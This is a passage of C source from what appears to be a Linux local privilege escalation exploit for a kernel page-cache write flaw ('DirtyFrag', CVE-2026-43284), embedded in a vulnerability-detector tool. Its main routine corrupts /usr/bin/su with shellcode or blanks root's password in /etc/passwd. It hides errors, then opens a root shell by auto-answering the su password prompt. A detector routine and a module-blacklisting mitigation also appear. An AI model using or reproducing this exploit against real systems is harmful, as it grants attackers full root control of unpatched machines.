0 because /usr/bin/su already has the ELF 2000 * magic there — both before and after we patch.) 2001 */ 2002 static const uint8_t su_marker[8] = { 2003 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 2004 }; 2005 2006 static int su_already_patched(void) { 2007 int fd = open("/usr/bin/su", O_RDONLY); 2008 if (fd < 0) return 0; 2009 uint8_t got[8]; 2010 ssize_t n = pread(fd, got, sizeof(got), 0x78); 2011 close(fd); 2012 if (n != sizeof(got)) return 0; 2013 return memcmp(got, su_marker, sizeof(su_marker)) == 0; 2014 } 2015 2016 static int passwd_already_patched(void) { 2017 int fd = open("/etc/passwd", O_RDONLY); 2018 if (fd < 0) return 0; 2019 char head[16]; 2020 ssize_t n = pread(fd, head, sizeof(head), 0); 2021 close(fd); 2022 if (n < 9) return 0; 2023 return memcmp(head, "root::0:0", 9) == 0; 2024 } 2025 2026 static int either_target_patched(void) { 2027 return su_already_patched() || passwd_already_patched(); 2028 } 2029 2030 static void silence_stderr(int *saved_fd) { 2031 *saved_fd = dup(STDERR_FILENO); 2032 int dn = open("/dev/null", O_WRONLY); 2033 if (dn >= 0) { 2034 dup2(dn, STDERR_FILENO); 2035 close(dn); 2036 } 2037 } 2038 2039 static void restore_stderr(int saved_fd) { 2040 if (saved_fd >= 0) { 2041 dup2(saved_fd, STDERR_FILENO); 2042 close(saved_fd); 2043 } 2044 } 2045 2046 static char **append_corrupt_only(int argc, char **argv, int *new_argc) { 2047 static char *flag = "--corrupt-only"; 2048 static char *buf[64]; 2049 int n = argc < 60 ? argc : 60; 2050 for (int i = 0; i < n; i++) buf[i] = argv[i]; 2051 buf[n] = flag; 2052 buf[n + 1] = NULL; 2053 *new_argc = n + 1; 2054 return buf; 2055 } 2056 2057 static void exec_su_login(void) { 2058 const char *paths[] = { 2059 "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, 2060 }; 2061 for (int i = 0; paths[i]; i++) execl(paths[i], "su", "-", (char *)NULL); 2062 execlp("su", "su", "-", (char *)NULL); 2063 } 2064 2065 /* 2066 * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. 2067 */ 2068 static int run_root_pty(void) { 2069 int master = posix_openpt(O_RDWR | O_NOCTTY); 2070 if (master < 0) return -1; 2071 if (grantpt(master) < 0 || unlockpt(master) < 0) { 2072 close(master); 2073 return -1; 2074 } 2075 char *slave_name = ptsname(master); 2076 if (!slave_name) { 2077 close(master); 2078 return -1; 2079 } 2080 2081 struct winsize ws; 2082 if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) ioctl(master, TIOCSWINSZ, &ws); 2083 2084 pid_t pid = fork(); 2085 if (pid < 0) { 2086 close(master); 2087 return -1; 2088 } 2089 if (pid == 0) { 2090 setsid(); 2091 int slave = open(slave_name, O_RDWR); 2092 if (slave < 0) _exit(127); 2093 ioctl(slave, TIOCSCTTY, 0); 2094 dup2(slave, 0); 2095 dup2(slave, 1); 2096 dup2(slave, 2); 2097 if (slave > 2) close(slave); 2098 close(master); 2099 exec_su_login(); 2100 _exit(127); 2101 } 2102 2103 signal(SIGTTOU, SIG_IGN); 2104 signal(SIGTTIN, SIG_IGN); 2105 signal(SIGPIPE, SIG_IGN); 2106 signal(SIGHUP, SIG_IGN); 2107 (void)setpgid(0, 0); 2108 (void)tcsetpgrp(STDIN_FILENO, getpid()); 2109 2110 struct termios saved_termios; 2111 int restore_termios = 0; 2112 if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { 2113 struct termios raw = saved_termios; 2114 cfmakeraw(&raw); 2115 if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) restore_termios = 1; 2116 } 2117 2118 int auto_pw_sent = 0; 2119 int stdin_eof = 0; 2120 int saw_master_output = 0; 2121 int total_ms = 0; 2122 char buf[4096]; 2123 2124 for (;;) { 2125 struct pollfd pfds[2] = { 2126 {stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0}, 2127 {master, POLLIN, 0}, 2128 }; 2129 int pr = poll(pfds, 2, 200); 2130 if (pr < 0 && errno != EINTR) break; 2131 total_ms += 200; 2132 2133 if (pfds[1].revents & POLLIN) { 2134 ssize_t n = read(master, buf, sizeof(buf)); 2135 if (n <= 0) break; 2136 saw_master_output = 1; 2137 (void)write(STDOUT_FILENO, buf, n); 2138 if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { 2139 buf[n] = 0; 2140 if (strstr(buf, "Password") || strstr(buf, "password")) { 2141 (void)write(master, "\n", 1); 2142 auto_pw_sent = 1; 2143 } 2144 } 2145 } 2146 if (!stdin_eof && (pfds[0].revents & POLLIN)) { 2147 ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); 2148 if (n <= 0) 2149 stdin_eof = 1; 2150 else 2151 (void)write(master, buf, n); 2152 } 2153 if (pfds[1].revents & (POLLHUP | POLLERR)) break; 2154 2155 if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { 2156 (void)write(master, "\n", 1); 2157 auto_pw_sent = 1; 2158 } 2159 2160 int status; 2161 pid_t w = waitpid(pid, &status, WNOHANG); 2162 if (w == pid) { 2163 for (int i = 0; i < 5; i++) { 2164 struct pollfd pf = {master, POLLIN, 0}; 2165 if (poll(&pf, 1, 50) <= 0) break; 2166 ssize_t n = read(master, buf, sizeof(buf)); 2167 if (n <= 0) break; 2168 (void)write(STDOUT_FILENO, buf, n); 2169 } 2170 break; 2171 } 2172 } 2173 2174 if (restore_termios) tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); 2175 close(master); 2176 return 0; 2177 } 2178 2179 int main(int argc, char **argv) { 2180 int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); 2181 int force_esp = 0, force_rxrpc = 0; 2182 int saved_err = -1; 2183 int rc = 1; 2184 int new_argc; 2185 char **co_argv; 2186 2187 for (int i = 1; i < argc; i++) { 2188 if (!strcmp(argv[i], "--force-esp")) 2189 force_esp = 1; 2190 else if (!strcmp(argv[i], "--force-rxrpc")) 2191 force_rxrpc = 1; 2192 else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) 2193 verbose = 1; 2194 } 2195 2196 if (getuid() == 0) { 2197 execlp("/bin/bash", "bash", (char *)NULL); 2198 _exit(1); 2199 } 2200 2201 co_argv = append_corrupt_only(argc, argv, &new_argc); 2202 2203 if (!verbose) silence_stderr(&saved_err); 2204 2205 if (force_rxrpc) { 2206 rc = rxrpc_lpe_main(new_argc, co_argv); 2207 for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv); 2208 } else if (force_esp) { 2209 rc = su_lpe_main(new_argc, co_argv); 2210 } else { 2211 rc = su_lpe_main(new_argc, co_argv); 2212 if (!su_already_patched()) { 2213 rc = rxrpc_lpe_main(new_argc, co_argv); 2214 for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv); 2215 } 2216 } 2217 2218 int patched = either_target_patched(); 2219 2220 if (!verbose) restore_stderr(saved_err); 2221 2222 if (patched) { 2223 (void)run_root_pty(); 2224 return 0; 2225 } 2226 2227 if (g_cve_ctx.verbose) dprintf(2, "cve-2026-43284: failed (rc=%d)\n", rc); 2228 return rc ? rc : 1; 2229 } 2230 2231 /* ---- detector plumbing ---- */ 2232 2233 static int detector_su_already_patched(void) { 2234 static const uint8_t marker[8] = { 2235 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 2236 }; 2237 int fd = open("/usr/bin/su", O_RDONLY); 2238 if (fd < 0) return 0; 2239 uint8_t got[8]; 2240 ssize_t n = pread(fd, got, sizeof(got), 0x78); 2241 close(fd); 2242 if (n != sizeof(got)) return 0; 2243 return memcmp(got, marker, sizeof(got)) == 0; 2244 } 2245 2246 static int detector_passwd_already_patched(void) { 2247 int fd = open("/etc/passwd", O_RDONLY); 2248 if (fd < 0) return 0; 2249 char head[16]; 2250 ssize_t n = pread(fd, head, sizeof(head), 0); 2251 close(fd); 2252 if (n < 9) return 0; 2253 return memcmp(head, "root::0:0", 9) == 0; 2254 } 2255 2256 int detector_cve_2026_43284(struct cve_context *ctx) { 2257 (void)ctx; 2258 2259 if (ctx->verbose) { 2260 g_su_verbose = 1; 2261 setenv("DIRTYFRAG_VERBOSE", "1", 1); 2262 } 2263 if (detector_su_already_patched() || detector_passwd_already_patched()) return 3; 2264 2265 /* Back up both artifacts before any corruption attempt. */ 2266 backup_su(); 2267 backup_passwd(); 2268 2269 { /* ESP / xfrm path */ 2270 char *argv[] = {"cve-2026-43284", "--corrupt-only", NULL}; 2271 if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) { 2272 /* System is vulnerable — restore artifacts before returning. */ 2273 revert_su(); 2274 revert_passwd(); 2275 return 1; 2276 } 2277 revert_su(); 2278 } 2279 2280 { /* rxrpc / rxkad fallback */ 2281 setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1); 2282 char *argv[] = {"cve-2026-43284", "--corrupt-only", NULL}; 2283 int rc = rxrpc_lpe_main(2, argv); 2284 unsetenv("DIRTYFRAG_CORRUPT_ONLY"); 2285 if (rc == 0 && detector_passwd_already_patched()) { 2286 /* System is vulnerable — restore artifacts before returning. */ 2287 revert_su(); 2288 revert_passwd(); 2289 return 1; 2290 } 2291 } 2292 2293 /* Restore any artifacts that may have been touched. */ 2294 revert_su(); 2295 revert_passwd(); 2296 2297 return 0; 2298 } 2299 2300 __attribute__((constructor)) void detector_cve_2026_43284_setup(void) { 2301 detector_queue_append("CVE-2026-43284", "DirtyFrag", 2302 "Dirty Frag (xfrm-ESP Page-Cache Write): " 2303 "Run the following to blacklist vulnerable modules:\n" 2304 " sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n" 2305 "install rxrpc /bin/false\\n' > /etc/modprobe.d/cve-2026-43284.conf; " 2306 "rmmod esp4 esp6 rxrpc 2>/dev/null ; echo 3 > /proc/sys/vm/drop_caches; true\"\n" 2307 " Then update your kernel once distribution patches are available.", 2308 detector_cve_2026_43284); 2309 }